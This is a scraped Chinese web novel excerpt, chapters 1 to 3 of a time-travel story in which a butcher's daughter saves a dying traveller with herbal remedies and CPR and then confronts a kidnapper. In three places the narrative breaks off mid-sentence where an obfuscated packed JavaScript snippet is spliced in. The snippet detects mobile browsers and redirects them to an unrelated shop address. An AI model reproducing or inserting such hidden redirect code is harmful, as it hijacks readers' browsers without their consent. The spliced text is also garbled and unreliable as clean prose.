《从屠夫女到大雍首富》 1. 救人(1) 绥州府,丰安县。 春日的阳光暖融融的,像刚出锅的糖糕,甜丝丝地糊在窗棂上。院子里的花儿开得没心没肺,一丛挤着一丛,鸟儿在枝头叽叽喳喳,开着一场没完没了的茶话会。 真真是个好天气。 可临窗躺椅上,脑袋裹得像颗白面粽子的少女,却对着这大好春光,长长、长长地叹了口气。 “唉——” 这声叹气,九曲十八弯,充满了生无可恋的意味。 她叫李令双,曾经是。现在……壳子还是那个壳子,里头却换了个魂儿。几天前,她仗着自己练过几分拳脚,正铆足了劲追捕一个侵犯少女的混账刘深。眼看就要将人摁倒在地,谁知那厮狗急跳墙,对她反手一枪。 再一睁眼,天是蓝的,云是白的,脑袋是疼得要裂开的。 “刘深你个杀千刀的!姑奶奶我风华正茂,一条小命就这么没了!”李令双在心里把那混账扎成了筛子,“穿越就穿越吧,好歹给个公主郡主当当,这算怎么回事?开局一个平民女子?” 她小心翼翼地摸了摸额头厚厚的布条,疼得一阵龇牙咧嘴。原身这位小姑娘,也是个路子野的,好端端竟能把自己摔成这样,脑内淤血,直接一命呜呼,倒是便宜了她这个异世来的孤魂。 真是……惨绝人寰,闻者伤心,见者落泪! 李令双正对着窗外抒发悲愤,门“吱呀”一声被推开了。 进来的是原身的爹李老三,身后跟着个丫鬟。李老三是个屠夫,本用不起下人,这丫鬟是他妹妹李春娥送的。李春娥在致仕的都察院左都御史王府为妾,因生下儿子被扶为正妻,心疼兄长,便拨了个丫头来。 李老三把一碟刚出锅的桂花糖糕放在女儿手边,语气是糙汉子里少有的温和:“闺女,吃块糕。额头还疼不?” 李令双接过糕点,咬了一小口,温热的米香与清甜的桂花蜜瞬间在舌尖化开。 她满足地眯了眯眼,正打算再好好品味一番—— “呵呵呵……” 一串银铃似的,带着几分刻意拿捏的柔媚笑声就从门外飘了进来。 随着笑声,一个穿着藕荷色细布裙衫的中年妇人迈着细碎的步子走了进来。她身段窈窕,皮肤白皙,眼角虽有了细纹,但眉梢眼底那股子风流韵致却掩不住,在一众普通村妇里,活像是天鹅落进了鸡窝。这便是李老三后来续娶的刘氏。 李令双在心里撇了撇嘴。原身的记忆碎片告诉她,这位刘氏来历可不简单,据说是从某个败落的富商后宅里流落出来的,曾经也是十指不沾阳春水,被娇养着的主儿。 怪不得,同样是粗布衣裳,穿在她身上就硬是有几分楚楚动人的姿态。李老三一个常年鳏居的糙汉子,哪里经得住这等温柔阵仗,自然是顺理成章地将人迎进了门。 “瞧瞧,我们令双这气色,看着就好多了!”刘氏人未到,声先至,“哎哟,可把刘姨吓坏了!你说你这孩子,走路怎么也不当心些,磕到哪里不好,偏磕到了额头!女儿家的脸面多要紧呐!往后可得千万仔细着,莫要再毛毛躁躁的了。” 李令双眼皮都懒得抬,专心致志地啃着自己的桂花糕。 哼,戏台上的变脸大师都没您这么快!李令双腹诽。 原身留下的情绪里,对这位后母是十足的不喜加戒备。 李老三在场时,这位刘氏永远是慈爱体贴、笑语嫣然的模范继母;一旦李老三不在跟前,那副慈母皮一收,人后的小鞋便一双接一双地套上来:热饭是没有的,剩饭爱吃不吃的;衣裳破了是该补的,针线是不给添的;连原身娘留下的那对银镯子,也早被她“代为保管”得没了踪影。 李老三见女儿这副爱答不理的模样,眉头当即就拧成了个疙瘩,嘴唇动了动,眼看就要出声训斥。 旁边侍立的小丫鬟小茹机灵,赶紧上前一步,微微屈膝回道:“回奶奶的话,姑娘的伤瞧着吓人,其实已好了七七八八,郎中说再静养几日便无大碍了。” 李老三到底心疼女儿刚受了伤,那股火气在喉咙里转了一圈,又咽了回去,只重重叹了口气,对刘氏道:“让她静静也好,我们出去吧,别吵着她歇息。” 刘氏脸上那完美的笑容丝毫未变,甚至还带着几分担忧叮嘱了一句:“那令双你好好休息,想吃什么就让刘姨做。”这才跟着李老三一步三回头地走了。 房门轻轻合上。 李令双把最后一口糕点塞进嘴里,拍了拍手上的碎屑,长长吐出一口气。 “真是……憋死姑奶奶了!” 几日后。 李令双觉得自己快要在这四方小院里生根发芽了!除了吃就是睡,顶多在院子里溜达两圈,这日子过得比坐牢还无聊! 李老三看得紧,生怕宝贝闺女再出什么岔子,严令禁止她出门。 李令双眼珠子一转,瞄向了后院那堵不算太高的院墙。因为前世她喜爱攀岩,虽然换了个身体协调性差了些,但这高度……问题不大! 她活动了下手脚,找了个趁脚的地方,三下五除二,还真给她利索地翻了出去。 双脚落地,外头的空气都感觉比墙里头的更新鲜。 她家临近街市,没走几步,喧闹的人声、各色摊贩、小吃香气便扑面而来。李令双眼睛亮了,看什么都稀奇。 她兴致勃勃地沿着街边往前走,心情好得几乎要哼出歌来。 就在她快走到那家挂着“济世堂”招牌的医馆时,一辆颇为宽敞、装饰雅致的青绸华盖马车与她擦肩而过,缓缓停在了路边。马车旁还跟着一匹神骏的高头大马,马鞍辔头皆是不凡。 骑在马上的是一名劲装男子,他回头望了一眼,目光扫向不远处正东张西望的李令双,脸上露出一丝诧异,轻轻“咦”了一声,对驾车的车夫低语道:“老张,你看后面那人……瞧着怎么那么像李家那位姑娘?” 驾车的车夫闻言也回头瞥了一眼,笑道:“不是像,我看就是李姑娘。” 男子面上古怪之色更浓,挠了挠头,“啊?真是她?可……可她今日怎么瞧着怪怪的?” 车夫失笑:“我看是你古怪吧,大白天的说什么怪话。” “哎呀!那么明显你都看不出来吗?” 男子有点急了,压低声音,“平日里这位李姑娘见了咱们大人的车驾,哪次不是像蝴蝶见了花儿似的扑上来?大人怎么冷着脸都甩不脱。今儿个咱们这么大一辆车停在这儿,她居然……居然就跟没看见似的,径直走过去了!你说这古怪不古怪?” 车夫恍然,嘿嘿一笑:“原来你是琢磨这个!兴许人家李姑娘今日转了性子,或者有急事呢?” 两人正低声嘀咕着,马车车厢内传来一道声音。那声音不高,却清冽沉稳,如同山间淙淙流淌的溪水,瞬间压过了外间的细微嘈杂。 “你二人平日若能将这般心思用在钻研武艺上,何至于至今未有寸进。” 这话语气平淡,听不出喜怒,却让马上的男子和驾车的车夫同时神色一凛,立刻收敛了脸上的嬉笑,恭声应道:“是,大人教训的是。” 也正在此时,他们的注意力被医馆门口的动静吸引了过去。只见一个被家丁搀扶着的年轻男子,刚迈出医馆门槛没两步,突然身体一软,直挺挺地倒在了地上,面色瞬间变得灰败,情况看起来十分不妙。 这突如其来的变故顿时吸引了所有人的注意。 李令双本已走过几步,听到身后的喧哗声,也忍不住停下脚步,好奇跑过去张望。 只见那倒在地上的年轻公子面色如土,唇色发青,气息微弱得几乎看不见胸膛起伏。 他身边跟着的小厮看着年纪尚轻,此刻已是六神无主,跪在地上带着哭腔哀求:“大夫您行行好,不能见死不救啊!我家少爷刚到丰安县就病倒了,您连看都没仔细看,怎么就说是绝症了呢!” 那站在医馆门口的老大夫须发皆白,闻言连连摆手,语气中透着无奈:“医者父母心,老夫岂会见死不救?可你家公子这脉象已是绝脉,便是大罗金仙来了也难救。你还是寻个他地,莫要挡在我门前!” 小厮闻言,脸色更加惨白,泪水夺眶而出。他咬着牙想将主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224395|197559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子扶起来,可他那年幼又单薄的身板哪里撑得起一个成年男子的重量?试了几次都踉跄着跌坐回去。 他环顾四周,只见那些看客们交头接耳指指点点,就是没一个人肯上前搭把手。小厮终于撑不住了,一屁股跌坐在地,放声大哭起来。 围观的人群还在窃窃私语,对着这主仆二人指指点点,就是没人挪动脚步。 李令双望着这场景,心里很不是滋味。搁现代,这点小病吃几片药就能好,严重些大不了挂个水。可在这里,一场风寒就能要了人的命,还是个年轻力壮的男子。眼睁睁看着一条生命在眼前消逝,任谁见了都要唏嘘。 李令双正欲上前,却被身后一人轻轻拉住衣袖。 “姑娘在此看看便好,何必凑近?可知这是什么病症?” 她回头一看,是个素不相识的书生打扮的男子,便不动声色地抽回衣袖,淡淡道:“多谢提醒。” 说完仍是快步向前走去。 那书生碰了一鼻子灰,面上有些挂不住,对同伴抱怨道:“不识好人心,吃亏在眼前。” 他的同伴附和道:“王兄何必管她?咱们在此见到有人倒卧在地已是晦气,回去还得净衣洗面。她非要往前凑,自找晦气!” 不远处马背上的男子看得真切,忍不住低呼:“大人,李令双往那快断气的人那儿去了!这怕是要惹上官司啊!” 车帘被掀起,露出一张清俊的脸。江彧目光掠过人群,淡淡道:“静观其变。既然在此停留,若她真遇上麻烦,顺手帮一把便是。” 男子笑道:“大人真是仁义!她能认识大人,真是她的福气。” 江彧的语气里透出公事公办的疏淡,“与福气无关。她若真能救活人,是那人的福气;她若因此惹上麻烦,我们在此,不过是避免一件发生在眼前的治安纷争;身为地方官,保境安民、平息纷扰乃是本分。” 男子闻言,脸上玩笑之色顿收,肃然应道:“是,大人思虑周全,是小的轻浮了。” 此时李令双已蹲在倒地男子身旁,伸手探了探他的鼻息,又轻轻扒开他的眼皮仔细观察。见瞳孔尚未涣散,她心中稍定——人还有救。 她随即搭上男子的手腕,指尖传来的脉象缓慢凝滞,确是危重之兆。好在她前世跟着行医的爷爷学过不少,这般脉象虽凶险,却并非无解。 周围人见她一个年轻姑娘竟给将死之人诊脉,议论声更大了。李令双充耳不闻,抬头问那小厮:“你家少爷何时病的?都有什么症状?” 小厮见她举止从容,虽心存疑虑,却还是哽咽着答道:“六日前因赶路露宿着了凉,起初只是咳嗽有痰。在蔚县抓了药,头一日喝下还好,第二日却开始流清涕。今日赶路刚到丰安县,还没进医馆就倒下了......” 李令双心中有数,起身道:“你在此等着,我进去抓服药。” 她快步走进医馆,身后竟跟了一群看热闹的百姓。今日这出戏可比茶楼说书有意思多了,晚饭时都能多下两碗饭。 男子在马上看得着急:“大人,她进医馆了!她该不会要去求那老大夫开方吧?人家明明都说没救了啊!” 江彧眸光微动,似是想起什么:“李姑娘的母亲精通岐黄之术。” “可李夫人不是在她襁褓中就过世了吗?如何教导她?”男子更疑惑了,“这真是奇了……” 医馆内,李令双径直走到柜台前,对那老大夫道:“大夫,借笔墨一用,我要开个方子。” 老大夫皱眉打量她:“笔墨借你无妨。只是那人已是沉寒痼冷,脉微欲绝,无药可救。看你年纪尚轻,莫要逞强,免得惹祸上身。” 李令双神色不变:“我有七成把握能救他,还请行个方便。” 老大夫闻言面露不悦:“老夫行医数十载,还能诊错?你一个黄毛丫头,竟敢夸口有七成把握?真是不知天高地厚!”他冷哼一声,“既你不听劝,老夫倒要看看,你能开出什么起死回生的仙方来!” 说着便将笔墨重重放在案上,显然对李令双的“不知天高地厚”颇为不满。 2. 救人(2) 李令双接过纸笔,不消片刻,便写下两张方子。 一张照的是医圣张仲景《伤寒论》的路数,另一张则糅合了清代吴鞠通《温病条辨》的巧思与宋代《太平惠民和剂局方》的底子——这都是她前世跟着爷爷啃医书时,老爷子拿着历代医案当故事讲的,没想到在这儿派上了用场。 她将方子递给老大夫。 老大夫接过细看,眉头越皱越紧,指着其中一味药道:“你这后生,若非有老夫在此把关,你非惹出大祸不可!老夫虽未见过这等配伍,但这方子里分明有伤寒经方的底子,用‘麻黄附子细辛汤’的架子不假。” “可此人如今脉微欲绝,已是油尽灯枯之象,你再上这等虎狼之药,岂非催他早登极乐?你是嫌他走得不够快么!” 李令双并不恼,语气平和却清晰:“大夫明鉴。这年轻人初起本是寒症温病,在蔚县时被误诊,用了发汗解表的峻烈之药,温邪未曾祛尽,反伏于内。” “后又因旅途劳顿,外感风寒,新寒引动伏温,才成此危局。我这两张方子并非同时服用,需分先后——先以‘加减复脉汤’固其元气、敛其浮阳,待脉象稍稳。” “再以‘麻黄附子细辛汤’化裁,温经散寒、透邪外出。” 她心里清楚,自己并非医术比老大夫高明,只是站在了后世无数先贤积累的“巨人肩膀”上,见得更多、更全罢了。这道理说来简单,可对此时此地的人而言,却近乎天方夜谭。 老大夫将信将疑,蹙眉道:“你这后生,莫不是信口开河?待老夫诊一次脉象。” 他转身走到门外,人群顿时一阵骚动。 老大夫俯身,三指搭上那倒地青年的腕间,凝神细察片刻,面色渐渐凝重。 他抬头看向跟出来的李令双,语气缓和了些,却仍带顾虑:“你所言脉证,倒是不差……可他此刻脉微欲绝,如风中残烛。这药若用下去,便是行险一搏。你年纪尚轻,何必担此天大干系?不如早些离去,免得惹祸上身。” “我有把握。”李令双目光坦然,声音不高却坚定,“还请大夫借药材一用。” 老大夫见她如此执拗,又是好气又是无奈,甩袖道:“罢了!你这倔脾气!药材都在柜里,你自己去抓,只是日后若有官司,莫要牵扯老夫!” 李令双得了许可,立刻转身进了药柜。 她手脚利落,按方抓药、称量分包,又将药材倒入陶罐,添水置炉,守着火候慢慢煎煮。药香渐渐弥漫开来,混合着焦苦与辛甘的气味。 正当她将煎好的药汁滗入碗中,小心撇去浮沫时,门外猛地传来小厮撕心裂肺的哀嚎: “姑娘!姑娘快出来看看吧!我家少爷……我家少爷他没气啦!” 李令双闻言,一个箭步就冲到了门外。 只见那老大夫正搭着地上年轻人的手腕,一边诊脉,一边缓缓摇头。小厮跪在一边,已经哭得声音嘶哑,满脸涕泪。 周围看热闹的人群见这变故,顿时又像煮开了的水,咕嘟咕嘟议论起来。 “啧,你看,阎王要收的人,到底还是留不住。” “可惜了这女郎一片好心,人没救回来,怕是要惹上官司了。” “这哪叫好心?分明是逞能!刚才那书生不是拦她了么,自己不听,怪得了谁?” 李令双对这些议论充耳不闻,几步凑到那年轻人身边,蹲下身,三指准确地搭上他的腕脉。 触手一片冰凉,果然,脉息已经探不到了。 她眉头都没皱一下,当机立断,双手交叠,按上年轻人胸口,开始有节奏地用力按压起来。 这一下,可把周围的人都看傻了。 “哎哟我的娘!这、这女郎在干什么?!” “她、她在捶打尸身?!这、这成何体统!” “造孽啊!人死为大,这是要惊扰亡魂吗?!” 那小厮也从悲痛中惊醒,见状吓得魂飞魄散,扑上来就要阻拦:“姑娘!姑娘使不得啊!我家少爷已经……已经去了!求您……求您让他安息吧!” 李令双手上动作丝毫不停,力道均匀稳定,只抬眼瞥了小厮一下,那眼神清明冷静,带着一种奇异的说服力,让小厮的动作下意识顿了顿。 就在这电光火石之间—— “咳……咳咳!” 地上那原本毫无声息的“尸身”,喉咙里突然发出一阵微弱却清晰的呛咳! 虽然人还没醒,但胸膛已开始有了明显的起伏,口鼻间也重新有了断续的喘息! 围观众人霎时炸开了锅: “我的天老爷!诈尸吗?!” “什么诈尸!青天白日的,分明是救过来了!” “晚上叫我婆娘也这样帮我按按,能起死回生,必能延年益寿呐!” 老大夫和小厮还僵在原地,满脸的愕然与难以置信,仿佛还没从这逆转中回过神来。 李令双却半分没耽搁。一见人恢复了呼吸,她立刻起身,看都没看周围震惊的人群,转身就快步冲回后堂。 待老大夫终于缓过神来,眼底的疑虑已尽数化作信服——这姑娘,是真有本事!他也跟着进了后堂,主动帮着看火添水,煎起了第二副药。 李令双端着第一碗药汤出来,让小厮帮忙扶起青年人的头,自己小心地将药汁一点一点喂了下去。药碗见底,那青年人虽未睁眼,但灰败的面色眼见着就透出了一丝活气,呼吸也渐渐平稳悠长起来。 小厮紧盯着自家少爷的脸,一颗悬到嗓子眼的心,总算往下落了落。 围观众人瞧见这变化,也都啧啧称奇: “还真救回来了!” “了不得,这姑娘是真有本事!” 在老大夫的帮衬下,第二副药不到半个时辰便煎得了。李令双又将这碗药给青年灌下,不过一刻钟光景,那青年人的眼皮颤了颤,竟缓缓睁开了! 虽然人还虚弱得说不出话,但那双眼睛确确实实是睁开了,茫然地望着头顶的天空。 “少爷!少爷您醒了!”小厮喜极而泣。 人群“轰”地一下炸开了锅,比过年看傩戏还激动。这可是活生生的“起死回生”啊!够他们回去吹上三年! “瞧瞧!我说什么来着?这姑娘一看就不是凡人!”方才唱衰的人,此刻嗓门比谁都大。 “可不是嘛,我早就看她眉目清正,定有神通!”旁边立刻有人附和。 “得了吧你俩!刚才就数你俩喊‘自找麻烦’喊得最响!”有人看不下去,当场揭短。 那两人脸上挂不住,赶紧岔开话头:“哎呀,过去的事提它作甚!这等神医就在眼前,等会儿事了,我定要求个方子治治我这胸闷的老毛病!” “对对对,我腰疼多年,也得问问!” 不远处,马上的男子惊得下巴都快掉了,使劲揉了揉眼睛:“大、大人……这真是我们认识的那个李姑娘?她、她什么时候有这等通天的医术了?我跟她认识也不是一天两天了啊!” 车厢内,江彧的目光亦是落在医馆门前那抹忙碌的身影上。 只见她再次俯身探看病人脉息,神色专注。 片刻后,似确认已无大碍,她直起身,抬手将一缕散落的发丝别至耳后,眉宇间那缕始终紧绷的凝重终于消散,一抹轻快真切的笑意,如春风化开薄冰,自然而然地在她唇角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224396|197559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼底漾开。那笑容明朗干净,纯粹为生命得以挽回而欣喜。 江彧静静看着,正巧将她这粲然一笑收入眼底。他惯常没什么表情的脸上,似乎也随着那笑意,微不可察地柔和了一瞬。无关其他,人见草木逢春、绝处得生,大抵都会有些许悦然。 李令双转向老大夫,诚心敛衽一礼:“今日多谢先生相助,若非先生高义允我用药,又亲自帮忙煎煮,此事断难如此顺利。” 老大夫连忙虚扶,脸上满是感慨与愧色:“哎呀,快别这么说!折煞老朽了。姑娘年纪虽轻,医术却远胜老夫。今日是你让老夫这半截入土的人开了眼界,见识了何为精妙方剂!该是老夫多谢你才对,经此一事,老夫日后行医,心中又多了几分把握,或许真能多救几条人命啊!” 两人又客气了几句,老大夫便指挥着小厮和热心路人,将苏醒后仍虚弱的青年抬进了医馆内的榻上安置。 李令双细细叮嘱那小厮:“这第一张方子,是固本培元、收敛阳气的。你家少爷元气大伤,需连服两日,这两日饮食要跟上,熬些清淡的肉糜粥,将养体力。” “等他精神好些,手脚回暖,自己感觉有些力气了,便服用第二张方子。那第二张方子是温经散寒、透邪外出的,若底子未固便用,恐虚不受补。两副药都喝完,后续的调理,便请这位老先生费心了。” 小厮一听她这就要走,顿时急了:“姑娘这便要走了?我家少爷还未清醒,不如姑娘再多留两日,待少爷醒来,定要亲自叩谢姑娘的大恩!” “我救你家少爷,不过是碰巧遇上,举手之劳,不图报答。”李令双摆摆手,语气轻快,转身就想溜。 谁料,躺在床上的少爷闻言,手指微动,一把攥住了李令双的衣袖一角,虽力气微弱,却攥得挺紧。 他瞪向小厮,喉咙里发出含糊的“嗬嗬”声,似有急话要说。 小厮吓了一跳,连忙附耳过去,仔细听了半晌,这才恍然大悟。 他从少爷腰间解下一块温润的白玉牌,双手奉给李令双:“恩人,我家是京城宋记商号的长房。这是长房信物,凭此牌可在京城任何一家宋记铺面支取银钱,万望恩人收下。日若姑娘日后得空到了京城,千万要来府上坐坐,好让我家少爷当面谢您救命大恩。” 李令双接过玉牌掂了掂,触手生温,质地细腻,中间一个端庄的“宋”字。她也不矫情,爽快收入怀中:“牌子我收了,谢意也心领啦!” 随即她转向老大夫,语速加快:“大夫,您这医馆可有后门?我看前头人山人海,怕是得另寻出路了。” “有有有,就在后头灶间旁边!”老大夫忙指了个方向。 李令双抬脚就要跑。 “姑娘且慢!”老大夫猛地想起什么,急道,“还不知姑娘高姓大名?若日后有人问起这起死回生的方子,老夫该如何说啊?” “是啊是啊!瞧我这糊涂的,竟忘了问恩人名讳!”小厮也一拍脑袋,连连附和。 李令双脚步不停,只回头粲然一笑,声音随着身影一起飘向后院: “我姓李名令双,山高水长,有缘自会相见!” 话音未落,人已如一只轻巧的燕子,闪进了后堂。 小厮和老大夫面面相觑,正疑惑她为何急得如同被火燎了尾巴,就听得前堂“轰”的一声喧哗,如同炸开了锅。一大群人呼啦啦涌了进来,眨眼间塞满了本就拥挤的医馆,往李令双方向追去。 “神医!神医且留步——!” “我腹胀如鼓,旬日不通,求神医救命!” 更有人扯着嗓子喊:“我家婆娘一连生了五个丫头,求神医赐个得子的仙方啊!” 3. 仇人相见 李令双脚步飞快,像只被惊起的雀儿,在纵横交错的巷子里七拐八绕,总算把后头那“尾巴”给甩了个干净。 她停下脚步,扶着墙慢慢喘气。可这一停下来,四下里一瞧,心里顿时“咯噔”一下——坏了!方才光顾着乱窜,眼下这条小巷偏僻冷清,前后无人,两边是斑驳的高墙,完全不认得是哪里。 她居然……迷路了! 不远处,巷子尽头似乎仅有一户人家。 李令双定了定神,打算过去问问路。刚走近些,便见一个身形魁梧的男子扛着个硕大的麻袋正往回走,那麻袋沉甸甸的,里头似乎还有什么东西在不安分地蠕动。 只听那男子压着嗓子,恶狠狠地低吼:“再乱动,小心老子要你好看!” 男子背对着李令双,正摸索着开门,李令双没看清他的脸,心下却已雪亮:强掳良民!千杀的恶徒! 李令双目光一扫,迅速捡起墙角一块趁手的青砖,屏住呼吸,放轻脚步,像猫一样悄无声息地跟在那男子身后,趁他刚跨过门槛、注意力全在前方的刹那,手臂一扬,青砖带着风声就朝其后脑勺砸了过去! “砰!” 一声闷响。那男子浑身一震,吃痛地“嘶”了一声,下意识反手摸向脑后,再拿到眼前一看——满手刺目的鲜红!他猛地转过身,瞪大了眼睛。 四目相对。 两人脸上同时浮现出见了鬼似的、难以置信的神情。 “是你?!” “是你?!” 眼前这恶徒,赫然便是前世那个欲行不轨、被路过的她制止,最终却掏枪害她丧命的杀千刀——刘深!更奇的是,两人穿越至此,相貌竟与前世别无二致! 仇人相见,分外眼红。 李令双胸中怒火“腾”地烧了起来:“你这丧尽天良的混账,居然也穿来了!老天真是无眼,竟让你再世为人!到了这儿,你还敢干这伤天害理的勾当!” 刘深抹了把后脑的血,看清是李令双,先是一惊,随即咧开嘴,露出一个混杂着惊讶与狠戾的怪笑:“嗬!原来是你这个多管闲事的!上辈子一枪没让你长记性?怎么,这辈子又送上门来,还想再死一次?” 李令双哪还跟他废话,脚下发力,如离弦之箭般冲了上去!她招式利落,擒拿锁扣直攻要害,尽是前世磨练出的杀招。 刘深没正经学过武,被她突如其来的近身抢攻逼得手忙脚乱,只有招架之力。 可几个回合下来,李令双心里暗暗叫苦。 这原主的身体到底疏于锻炼,力量、速度、耐力都远不及前世,爆发几下尚可,时间稍长便显出力不从心。 更要命的是,那刘深虽然拳脚上吃亏,但他比李令双多了一把明晃晃的匕首! 一寸长,一寸强;一寸短,一寸险。 李令双空有精妙招式,却难以突破那胡乱挥舞的刀光,反而被逼得连连后退,几次惊险地避过刀锋,衣袖都被划开了口子。 她心中焦急:巧妇难为无米之炊,这身体真拖后腿!若给她一年时间把这身子练回来,哪会怕他这把破刀?现在……要是有件趁手的家伙就好了! 就在她气息微乱,快要力竭,险险避过一记斜刺时。 “噗嗤。” 一声极轻的笑,带着几分慵懒和玩味,从头顶斜上方传来。 李令双百忙中下意识抬眼一瞥。 只见侧旁屋舍的灰瓦檐上,竟不知何时闲坐了一位少年郎。 他着一身云山蓝织宝相花贴里,外罩鹅黄色比甲,在日光下流泻着暗蕴华光的宝相花纹,腰间束蓝绦,足蹬玄色革靴。 一条腿曲起,手臂随意搭在膝上,另一条腿则闲闲垂在檐边,随着微风轻晃,就这么居高临下地望着院中缠斗。 最夺目的是那张脸——肤色如玉,眉眼飞扬,尤其一双桃花眼,顾盼间似含星子,明明透着玩世不恭的懒散,却因那过于出众的相貌与通身的意气,硬生生将这檐上偷闲之举,坐出了睥睨红尘的风流架势。 见李令双望来,他非但不避,反而眉梢一挑,唇角勾起一抹玩味的弧度。目光在她与刘深之间悠悠一转,嗓音清越如玉石相击: “哟,看来姑娘需要帮把手?” 李令双心中一凛,格开刘深一刀,急退两步,凝声道:“你是谁?” 男子却不答,只是轻笑一声。 下一瞬,他身形微动,从那丈高的屋檐上飘然而下,青衫拂动间,已稳稳落在院中,恰好隔在了李令双与刘深之间。 刘深眼看就要得手,半路却杀出个程咬金,不由目露凶光,恶狠狠地骂道:“哪来的小白脸!少管闲事!” “闲事?”男子依旧笑吟吟的,目光却冷了几分,“巧了,今日专程来寻你,正是正事。” 话音未落,他身形一晃,已如鬼魅般贴近刘深。 这男子的武功路数与李令双截然不同,看似飘逸随意,实则迅捷无比,出手角度刁钻。 刘深那几下靠着凶悍和匕首的野路子,在这等真正的行家面前简直不堪一击。 只见男子侧身让过直刺的匕首,衣袖一拂便卷住刘深手腕,顺势一扭一送! “咔嚓”一声轻响,伴着刘深的惨嚎,匕首“当啷”落地。 不过三五招,刘深已被反剪双臂,动弹不得。 男子不知从哪摸出根麻绳,利落地将他捆成了个粽子,又扯下他一块衣襟,团了团塞进他嘴里,整套动作行云流水。 刚才还凶神恶煞的刘深,此刻只能倒在地上“呜呜”地挣扎,眼里满是惊惧与不甘。 男子目光清亮地看向李令双,语气里带着毫不掩饰的赞赏:“光明教这等藏污纳垢之教,人人得而诛之。姑娘你一个弱质女流,敢独自与这等凶徒周旋,这份胆气,令人佩服。” “光明教?”李令双眉头微蹙,眼中是满是疑惑,“你是什么人?又为何会恰好在此?这光明教……是什么来路?” 男子略感意外,眉梢微挑:“你竟不知光明教?近半年来在江南几府颇为猖獗的一个邪派,表面打着‘济世度人’的幌子,暗地里拐卖妇孺、敛财害命的勾当没少干。丰安县近来多名未婚女子失踪,我一路追查线索到此,方才正是在此蹲守,想确认他们的窝点,好回去召集人手,将他们连根拔起。” 李令双闻言,嘴角一弯,抱拳道:“原来阁下是侠士!真是为国为民、侠之大也,失敬失敬!”她显然将对方当成了话本里那种神出鬼没的江湖游侠。 “为国为民,侠之大也……”年轻男子低声重复了一遍这八个字,眼中掠过一丝奇异的光彩——这话到是新鲜,也够气魄。 两人说了片刻话后,这才注意到地上那个仍在不停蠕动、发出闷响的大麻袋。李令双连忙上前解开绳索,扯开袋口。 麻袋里是一位姑娘。只见她云鬓微乱,鼻梁秀挺,唇色如樱,即便是在这般狼狈情境下,也掩不住那惊人的容貌。只是面色苍白,楚楚可怜。 李令双心里“啧”了一声:这杀千刀的刘深,眼光倒毒,专挑这样的美人下手,他也配? 女子显然将方才二人的对话听了去,知道是救命恩人。甫一得救,便起身,朝着李令双和男子盈盈拜下,声音还带着劫后余生的微颤:“多谢二位恩公仗义相救,将小女子从这恶徒手中解救出来。恩同再造,小女无以为报,愿为二位做牛做马,以谢大恩!” 说罢,她抬起眼,狠狠瞪了一眼地上的刘深。 李令双连忙将她扶起,语气温和:“姑娘快别这么说。路见不平,稍有血性之人都会出手相助。若人人见了恶行都冷眼旁观,那这世间岂非只剩冰霜,再无半点人情?救你本是应当,何谈为奴为婢来报答?你平安无事,便是最好的结果了。” 蓝衣男子在一旁含笑点头:“正是此理。” 就在这时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224397|197559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直留意着四周动静的蓝衣男子面色忽然一凝,侧耳倾听。 李令双正觉诧异,便听他压低了声音急道:“不好,外面有脚步声朝这边来,人数不少,定是同伙!” 李令双心中一惊,暗道这人耳力好生厉害!自己竟丝毫未觉。 那地上的刘深显然也听到了动静,眼中顿时饱含希翼,挣扎得更剧烈,喉咙里“呜呜”声也急切起来。 蓝衣男子反应极快,并指如风,在他颈侧某处迅疾一点。刘深浑身一僵,那“呜呜”声戛然而止,只剩下眼珠还能惊恐地转动。 点穴?!李令双看得眼睛都睁大了些。这……这武侠小说里的功夫,竟是真的? 年轻男子已将刘深利落地拖进里屋,李令双与那获救女子也快步跟了进去。 他环顾这间陈设简单的屋子,目光一扫,迅速拉开一个老旧的大衣柜,不由分说便将刘深塞了进去,随即转头对那女子低声道:“姑娘,暂且委屈你,也进去避一避。” 女子摇头,表示无妨,而后便侧身钻进了衣柜另一侧的空隙。 男子抬头,视线落在房梁上,便要飞身上去。 李令双眼疾,瞥见屋子中央那张铺着厚重红色桌幔的八仙桌,灵机一动,矮身便钻了进去。 长长的红色绒布帷幔直垂到地,将桌下空间遮得严严实实,藏她一人绰绰有余。 她刚蜷好身子,眼前的红幔忽地被掀起一角,光线涌入又暗下——那蓝衣男子竟也弯腰闪了进来,与她在这方狭小空间里挤在了一处。 几乎同时,外面传来了脚步声和刘深同伙粗嘎的嗓门: “老大,这批‘货’成色真不赖!一辆马车都装不下!” “嘿嘿,发财了!卖到怡红院去,够咱们逍遥好一阵子!” 李令双听得心头火起,暗啐一口:人渣! 身旁的男子却神色平静,显然对此类恶行早已心中有数。 